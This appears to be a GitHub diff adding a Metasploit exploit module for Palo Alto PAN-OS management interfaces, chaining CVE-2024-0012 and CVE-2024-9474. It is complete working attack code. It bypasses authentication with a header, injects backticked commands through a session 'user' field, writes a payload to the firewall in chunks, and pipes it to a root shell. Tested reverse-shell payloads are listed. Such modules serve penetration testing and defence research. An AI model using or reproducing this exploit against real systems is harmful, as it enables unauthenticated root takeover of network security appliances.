|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection |
| 19 | + vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can |
| 20 | + execute arbitrary code with root privileges. |
| 21 | +
|
| 22 | + The following versions are affected: |
| 23 | + * PAN-OS 11.2 (up to and including 11.2.4-h1) |
| 24 | + * PAN-OS 11.1 (up to and including 11.1.5-h1) |
| 25 | + * PAN-OS 11.0 (up to and including 11.0.6-h1) |
| 26 | + * PAN-OS 10.2 (up to and including 10.2.12-h2) |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => [ |
| 30 | + 'watchTowr', # Technical Analysis |
| 31 | + 'sfewer-r7' # Metasploit module |
| 32 | + ], |
| 33 | + 'References' => [ |
| 34 | + ['CVE', '2024-0012'], |
| 35 | + ['CVE', '2024-9474'], |
| 36 | + # Vendor Advisories |
| 37 | + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-0012'], |
| 38 | + ['URL', 'https://security.paloaltonetworks.com/CVE-2024-9474'], |
| 39 | + # Technical Analysis |
| 40 | + ['URL', 'https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/'] |
| 41 | + ], |
| 42 | + 'DisclosureDate' => '2024-11-18', |
| 43 | + 'Platform' => [ 'linux', 'unix' ], |
| 44 | + 'Arch' => [ARCH_CMD], |
| 45 | + 'Privileged' => true, # Executes as root on Linux |
| 46 | + 'Targets' => [ |
| 47 | + [ |
| 48 | + 'Default', { |
| 49 | + 'Payload' => { |
| 50 | + # See the comment in the exploit method for how we calculated the payload Space value. |
| 51 | + 'Space' => 5670, |
| 52 | + # We write the payload in chunks, which limits our total space, but is also slow, so we disable nops |
| 53 | + # to ensure the payload is as small as possible. |
| 54 | + 'DisableNops' => true, |
| 55 | + 'BadChars' => '\\\'"&' |
| 56 | + } |
| 57 | + } |
| 58 | + ] |
| 59 | + ], |
| 60 | + # NOTE: Tested with the payloads: |
| 61 | + # cmd/linux/http/x64/meterpreter_reverse_tcp |
| 62 | + # cmd/linux/http/x64/meterpreter/reverse_tcp |
| 63 | + # cmd/unix/reverse_bash |
| 64 | + 'DefaultOptions' => { |
| 65 | + 'RPORT' => 443, |
| 66 | + 'SSL' => true, |
| 67 | + # A writable directory on the target for fetch based payloads to write to. |
| 68 | + 'FETCH_WRITABLE_DIR' => '/var/tmp' |
| 69 | + }, |
| 70 | + 'DefaultTarget' => 0, |
| 71 | + 'Notes' => { |
| 72 | + 'Stability' => [CRASH_SAFE], |
| 73 | + 'Reliability' => [REPEATABLE_SESSION], |
| 74 | + 'SideEffects' => [IOC_IN_LOGS] |
| 75 | + } |
| 76 | + ) |
| 77 | + ) |
| 78 | + register_options( |
| 79 | + [ |
| 80 | + OptString.new('WRITABLE_DIR', [true, 'The full path of a writable directory on the target.', '/var/tmp']) |
| 81 | + ] |
| 82 | + ) |
| 83 | + end |
| 84 | + |
| 85 | + # Our check routine leverages the two vulnerabilities to write a file to disk, which we then read back over HTTPS to |
| 86 | + # confirm the target is vulnerable. The check routine will delete this file after it has been read. |
| 87 | + def check |
| 88 | + check_file_name = Rex::Text.rand_text_alphanumeric(4) |
| 89 | + |
| 90 | + # NOTE: We set dontfail to true, as a check routine cannot fail_with(). |
| 91 | + |
| 92 | + # return Safe if we fail to trigger the vulnerability and execute a command. |
| 93 | + return CheckCode::Safe unless execute_cmd( |
| 94 | + "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}", |
| 95 | + dontfail: true |
| 96 | + ) |
| 97 | + |
| 98 | + res = send_request_cgi( |
| 99 | + 'method' => 'GET', |
| 100 | + 'uri' => normalize_uri('unauth', check_file_name) |
| 101 | + ) |
| 102 | + |
| 103 | + return CheckCode::Unknown('Connection failed') unless res |
| 104 | + |
| 105 | + if res.code == 200 && res.body.include?(check_file_name) |
| 106 | + |
| 107 | + # return Unknown if we fail to trigger the vulnerability a second time. |
| 108 | + return CheckCode::Unknown unless execute_cmd( |
| 109 | + "rm -f /var/appweb/htdocs/unauth/#{check_file_name}", |
| 110 | + dontfail: true |
| 111 | + ) |
| 112 | + |
| 113 | + return Exploit::CheckCode::Vulnerable |
| 114 | + end |
| 115 | + |
| 116 | + CheckCode::Safe |
| 117 | + end |
| 118 | + |
| 119 | + # We can only execute a short command upon each invocation of the command injection vulnerability. To execute |
| 120 | + # a Metasploit payload, we first write the payload to a file, but we do the file write in small |
| 121 | + # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each |
| 122 | + # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk. |
| 123 | + # We then amalgamate all these chunks together back into a single file, reconstituting the original payload. |
| 124 | + # Finally we read the payload from the file, and pipe it to a shell to execute it. To avoid our payload being |
| 125 | + # executed twice, the payload will delete the single payload file upon the first execution of the payload, |
| 126 | + # causing any second attempt to execute the payload to fail. |
| 127 | + def exploit |
| 128 | + tmp_file_name = Rex::Text.rand_text_alphanumeric(4) |
| 129 | + |
| 130 | + bootstrap_payload = "rm -f #{datastore['WRITABLE_DIR']}/#{tmp_file_name}*;#{payload.encoded}" |
| 131 | + |
| 132 | + idx = 1 |
| 133 | + idx_prefix = '' |
| 134 | + |
| 135 | + # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and |
| 136 | + # 25 for the echo command that writes the chunk to a file (assuming a path of /var/tmp and a single digit idx |
| 137 | + # value. So by default, the chunk size will be 36. However this may change as we write the chunks. |
| 138 | + # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9, |
| 139 | + # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get |
| 140 | + # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ... |
| 141 | + # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so |
| 142 | + # we must recompute the chunk size, to ensure we dont go over the 63 character limit. |
| 143 | + chunk_size = 63 - 2 - "echo -n ''>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}".length |
| 144 | + |
| 145 | + # We display the progress to the user, so track that with a current and max chunk number. |
| 146 | + curr_chunk_number = 1 |
| 147 | + |
| 148 | + max_chunk_number = (bootstrap_payload.length / chunk_size) + 1 |
| 149 | + |
| 150 | + while bootstrap_payload && !bootstrap_payload.empty? |
| 151 | + |
| 152 | + print_status("Uploading payload chunk #{curr_chunk_number} of #{max_chunk_number}...") |
| 153 | + |
| 154 | + chunk = bootstrap_payload[0, chunk_size] |
| 155 | + |
| 156 | + bootstrap_payload = bootstrap_payload[chunk_size..] |
| 157 | + |
| 158 | + execute_cmd("echo -n '#{chunk}'>#{datastore['WRITABLE_DIR']}/#{tmp_file_name}#{idx_prefix}#{idx}") |
| 159 | + |
| 160 | + idx += 1 |
| 161 | + |
| 162 | + if idx > 9 |
| 163 | + idx = 1 |
| 164 | + idx_prefix += '9' |
| 165 | + # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the |
| 166 | + # next chunk must have 1 less character. |
| 167 | + chunk_size -= 1 |
| 168 | + # If the payload was too big, and we run out of space in the command to write any chunk data, fail. |
| 169 | + # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the |
| 170 | + # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less |
| 171 | + # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which |
| 172 | + # would be a max MSF payload size of 5670 characters. Calculated with the command: |
| 173 | + # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz" |
| 174 | + fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero? |
| 175 | + end |
| 176 | + |
| 177 | + curr_chunk_number += 1 |
| 178 | + end |
| 179 | + |
| 180 | + print_status('Amalgamating payload chunks...') |
| 181 | + |
| 182 | + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}* > #{datastore['WRITABLE_DIR']}/#{tmp_file_name}") |
| 183 | + |
| 184 | + print_status('Executing payload...') |
| 185 | + |
| 186 | + execute_cmd("cat #{datastore['WRITABLE_DIR']}/#{tmp_file_name}|sh", dontfail: true) |
| 187 | + end |
| 188 | + |
| 189 | + def execute_cmd(cmd, dontfail: false) |
| 190 | + user = "`#{cmd}`" |
| 191 | + |
| 192 | + # There is a 63 character limit for the command injection. |
| 193 | + if user.length >= 64 |
| 194 | + fail_with(Failure::BadConfig, 'Command too long for execute_cmd') |
| 195 | + end |
| 196 | + |
| 197 | + vprint_status(user) |
| 198 | + |
| 199 | + # Leverage the auth bypass (CVE-2024-0012) and poison a session parameter with the command to execute (CVE-2024-9474). |
| 200 | + res1 = send_request_cgi( |
| 201 | + 'method' => 'POST', |
| 202 | + 'uri' => normalize_uri('php', 'utils', 'createRemoteAppwebSession.php', "#{Rex::Text.rand_text_alphanumeric(8)}.js.map"), |
| 203 | + 'headers' => { |
| 204 | + 'X-PAN-AUTHCHECK' => 'off' |
| 205 | + }, |
| 206 | + 'keep_cookies' => true, |
| 207 | + 'vars_post' => { |
| 208 | + 'user' => user, |
| 209 | + 'userRole' => 'superuser', |
| 210 | + 'remoteHost' => '', |
| 211 | + 'vsys' => 'vsys1' |
| 212 | + } |
| 213 | + ) |
| 214 | + |
| 215 | + unless res1&.code == 200 |
| 216 | + if dontfail |
| 217 | + return false |
| 218 | + end |
| 219 | + |
| 220 | + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /php/utils/createRemoteAppwebSession.php') |
| 221 | + end |
| 222 | + |
| 223 | + unless cookie_jar.cookies.find { |c| c.name == 'PHPSESSID' } |
| 224 | + fail_with(Failure::UnexpectedReply, 'No PHPSESSID returned') |
| 225 | + end |
| 226 | + |
| 227 | + # Trigger the command injection (CVE-2024-9474). |
| 228 | + res2 = send_request_cgi( |
| 229 | + 'method' => 'GET', |
| 230 | + 'uri' => normalize_uri('index.php', '.js.map'), |
| 231 | + 'keep_cookies' => true |
| 232 | + ) |
| 233 | + |
| 234 | + unless res2&.code == 200 |
| 235 | + if dontfail |
| 236 | + return false |
| 237 | + end |
| 238 | + |
| 239 | + fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /index.php/.js.map') |
| 240 | + end |
| 241 | + |
| 242 | + true |
| 243 | + end |
| 244 | +end |
0 commit comments